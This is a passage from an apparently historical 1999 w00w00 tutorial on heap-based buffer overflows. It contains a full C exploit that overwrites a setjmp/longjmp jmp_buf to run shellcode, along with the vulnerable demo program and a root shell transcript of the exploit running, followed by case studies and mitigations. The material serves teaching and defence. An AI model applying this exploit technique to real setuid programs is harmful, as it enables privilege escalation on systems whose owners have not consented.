         fprintf(stderr, "Usage: %s <string1> <string2>\n");

      printf("[vulprog] argv[2] = %p\n", argv[2]);
      printf("[vulprog] sp = 0x%lx\n\n", getesp());

      if (setjmp(jmpbuf)) /* if > 0, we got here from longjmp() */
         fprintf(stderr, "error: exploit didn't work\n");

      printf("bx = 0x%lx, si = 0x%lx, di = 0x%lx\n",
             jmpbuf->__bx, jmpbuf->__si, jmpbuf->__di);

      printf("bp = %p, sp = %p, pc = %p\n\n",
             jmpbuf->__bp, jmpbuf->__sp, jmpbuf->__pc);

      strncpy(buf, argv[1], strlen(argv[1])); /* actual copy here */

      printf("bx = 0x%lx, si = 0x%lx, di = 0x%lx\n",
             jmpbuf->__bx, jmpbuf->__si, jmpbuf->__di);

      printf("bp = %p, sp = %p, pc = %p\n\n",
             jmpbuf->__bp, jmpbuf->__sp, jmpbuf->__pc);

      longjmp(jmpbuf, 1);
      return 0;

 The reason we have the vulnerable program output its stack pointer (esp
 on x86) is that it makes "guessing" easier for the novice.

 And now the exploit for it (you should be able to follow it):
    * Copyright (C) January 1999, Matt Conover & WSD
    * Demonstrates a method of overwriting jmpbuf's (setjmp/longjmp)
    * to emulate a stack-based overflow in the heap.  By that I mean,
    * you would overflow the sp/pc of the jmpbuf.  When longjmp() is
    * called, it will execute the next instruction at that address.
    * Therefore, we can stick shellcode at this address (as the data/heap
    * section on most systems is executable), and it will be executed.
    * This takes two arguments (offsets):
    *   arg 1 - stack offset (should be about 25-45).
    *   arg 2 - argv offset (should be about 310-330).

   #include <stdio.h>
   #include <stdlib.h>
   #include <unistd.h>
   #include <string.h>

   #define ERROR -1
   #define BUFSIZE 16

   #define VULPROG "./vulprog4"

   char shellcode[] = /* just aleph1's old shellcode (linux x86) */

   u_long getesp()
      __asm__("movl %esp,%eax"); /* the return value goes in %eax */

   int main(int argc, char **argv)
      int stackaddr, argvaddr;
      register int index, i, j;

      char buf[BUFSIZE + 24 + 1];

      if (argc <= 1)
         fprintf(stderr, "Usage: %s <stack offset> <argv offset>\n",

         fprintf(stderr, "[stack offset = offset to stack of vulprog\n");
         fprintf(stderr, "[argv offset = offset to argv[2]]\n");


      stackaddr = getesp() - atoi(argv[1]);
      argvaddr = getesp() + atoi(argv[2]);

      printf("trying address 0x%lx for argv[2]\n", argvaddr);
      printf("trying address 0x%lx for sp\n\n", stackaddr);

       * The second memset() is needed, because otherwise some values
       * will be (null) and the longjmp() won't do our shellcode.

      memset(buf, 'A', BUFSIZE), memset(buf + BUFSIZE + 4, 0x1, 12);
      buf[BUFSIZE+24] = '\0';

      /* ------------------------------------- */

       * We need the stack pointer, because to set pc to our shellcode
       * address, we have to overwrite the stack pointer for jmpbuf.
       * Therefore, we'll rewrite it with the real address again.

      /* reverse byte order (on a little endian system) (ntohl equiv) */
      for (i = 0; i < sizeof(u_long); i++) /* setup BP */
         index = BUFSIZE + 16 + i;
         buf[index] = (stackaddr >> (i * 8)) & 255;

      /* ----------------------------- */

      /* reverse byte order (on a little endian system) (ntohl equiv) */
      for (i = 0; i < sizeof(u_long); i++) /* setup SP */
         index = BUFSIZE + 20 + i;
         buf[index] = (stackaddr >> (i * 8)) & 255;

      /* ----------------------------- */

      /* reverse byte order (on a little endian system) (ntohl equiv) */
      for (i = 0; i < sizeof(u_long); i++) /* setup PC */
         index = BUFSIZE + 24 + i;
         buf[index] = (argvaddr >> (i * 8)) & 255;

      execl(VULPROG, VULPROG, buf, shellcode, NULL);
      return 0;

 Ouch, that was sloppy.  But anyway, when we run this with a stack offset
 of 36 and a argv[2] offset of 322, we get the following:
   [root /w00w00/heap/examples/vulpkgs/vulpkg4]# ./exploit4 36 322
   trying address 0xbffffcf6 for argv[2]
   trying address 0xbffffb90 for sp

   [vulprog] argv[2] = 0xbffffcf6
   [vulprog] sp = 0xbffffb90

   bx = 0x0, si = 0x40001fb0, di = 0x4000000f
   bp = 0xbffffb98, sp = 0xbffffb94, pc = 0x8048715

   bx = 0x1010101, si = 0x1010101, di = 0x1010101
   bp = 0xbffffb90, sp = 0xbffffb90, pc = 0xbffffcf6


 w00w00!  For those of you that are saying, "Okay.  I see this works in a
 controlled environment; but what about in the wild?"  There is sensitive
 data on the heap that can be overflowed.  Examples include:
      functions                       reason
   1. *gets()/*printf(), *scanf()     __iob (FILE) structure in heap
   2. popen()                         __iob (FILE) structure in heap
   3. *dir() (readdir, seekdir, ...)  DIR entries (dir/heap buffers)
   4. atexit()                        static/global function pointers
   5. strdup()                        allocates dynamic data in the heap
   7. getenv()                        stored data on heap
   8. tmpnam()                        stored data on heap
   9. malloc()                        chain pointers
   10. rpc callback functions         function pointers
   11. windows callback functions     func pointers kept on heap
   12. signal handler pointers        function pointers (note: unix tracks
       in cygnus (gcc for win),       these in the kernel, not in the heap)

 Now, you can definitely see some uses these functions.  Room allocated
 for FILE structures in functions such as printf()'s, fget()'s,
 readdir()'s, seekdir()'s, etc. can be manipulated (buffer or function
 pointers).  atexit() has function pointers that will be called when the
 program terminates.  strdup() can store strings (such as filenames or
 passwords) on the heap.  malloc()'s own chain pointers (inside its pool)
 can be manipulated to access memory it wasn't meant to be.  getenv()
 stores data on the heap, which would allow us modify something such as
 $HOME after it's initially checked.  svc/rpc registration functions  
 (librpc, libnsl, etc.) keep callback functions stored on the heap.

 Once you know how to overwrite FILE sturctures with popen(), you can
 quickly figure out how to do it with other functions (i.e., *printf,
 *gets, *scanf, etc.), as well as DIR structures (because they are

 Two "real world" vulnerabilities are Solaris' tip and BSDI's crontab.
 The BSDI crontab vulnerability was discovered by mudge of L0pht (see
 L0pht 1996 Advisory Page).

 Our first case study will be the BSDI crontab heap-based overflow. 
 Passing a long filename will overflow a static buffer.  Above that buffer 
 in memory, we have a pwd (see pwd.h) structure!  This stores a user name, 
 password, uid, gid, etc.  By overwriting the uid/gid field of the pwd, we 
 can modify the privileges that crond will run our crontab with (as soon as
 it tries to run our crontab).  This script could then put out a suid root 
 shell, because our script will be running with uid/gid 0.

 Our second case study is 'tip' on Solaris. It runs suid uucp. It is 
 possible to get root once uucp privileges are gained (but, that's outside 
 the scope of this article).  Tip will overflow a static buffer when 
 prompting for a file to send/receive.  Above the static buffer in memory is 
 a jmp_buf.  By overwriting the static buffer and then causing a SIGINT, 
 we can get shellcode executed (by storing it in argv[]).  To exploit 
 successfully, we need to either connect to a valid system, or create a 
 "fake device" with which tip will connect to.

Possible Fixes (Workarounds)
 Obviously, the best prevention for heap-based overflows is writing good
 code!  Similar to stack-based overflows, there is no real way of
 preventing heap-based overflows. 

 We can get a copy of the bounds checking gcc/egcs (which should locate
 most potential heap-based overflows) developed by Richard Jones and Paul
 Kelly.  This program can be downloaded from Richard Jone's homepage 
 at http://www.annexia.demon.co.uk.  It detects overruns that might be
 missed by human error.  One example they use is: "int array[10]; for (i =
 0; i <= 10; i++) array[i] = 1".  I have never used it.

   For Windows, one could use NuMega's bounds checker which essentially
   performs the same as the bounds checking gcc.

 We can always make a non-executable heap patch (as mentioned early, most
 systems have an executable heap).  During a conversation I had with Solar
 Designer, he mentioned the main problems with a non-executable would
 involve compilers, interpreters, etc.

   I added a note section here to reiterate the point a non-executable
   heap does NOT prevent heap overflows at all.  It means we can't execute
   instructions in the heap.  It does NOT prevent us from overwriting data
   in the heap.

 Likewise, another possibility is to make a "HeapGuard", which would be
 the equivalent to Cowan's StackGuard mentioned earlier.  He (et. al.) 
 also developed something called "MemGuard", but it's a misnomer.
 Its function is to prevent a return address (on the stack) from being
 overwritten (via canary values) on the stack.  It does nothing to prevent
 overflows in the heap or bss.

 There has been a significant amount of work on heap-based overflows in
 the past.  We ought to name some other people who have published work
 involving heap/bss-based overflows (though, our work wasn't based off

 Solar Designer: SuperProbe exploit (function pointers), color_xterm
 exploit (struct pointers), WebSite (pointer arrays), etc.
 L0pht: Internet Explorer 4.01 vulnerablity (dildog), BSDI crontab
 exploit (mudge), etc. 

 Some others who have published exploits for heap-based overflows (thanks
 to stranJer for pointing them out) are Joe Zbiciak (solaris ps) and Adam
 Morrison (stdioflow).  I'm sure there are many others, and I apologize for
 excluding anyone.

 I'd also like to thank the following people who had some direct
 involvement in this article: str (stranJer), halflife, and jobe.
 Indirect involvements: Solar Designer, mudge, and other w00w00

 Other good sources of info include: as/gcc/ld info files (/usr/info/*),
 BugTraq archives (http://www.geek-girl.com/bugtraq), w00w00 
 (http://www.w00w00.org), and L0pht (http://www.l0pht.com), etc.


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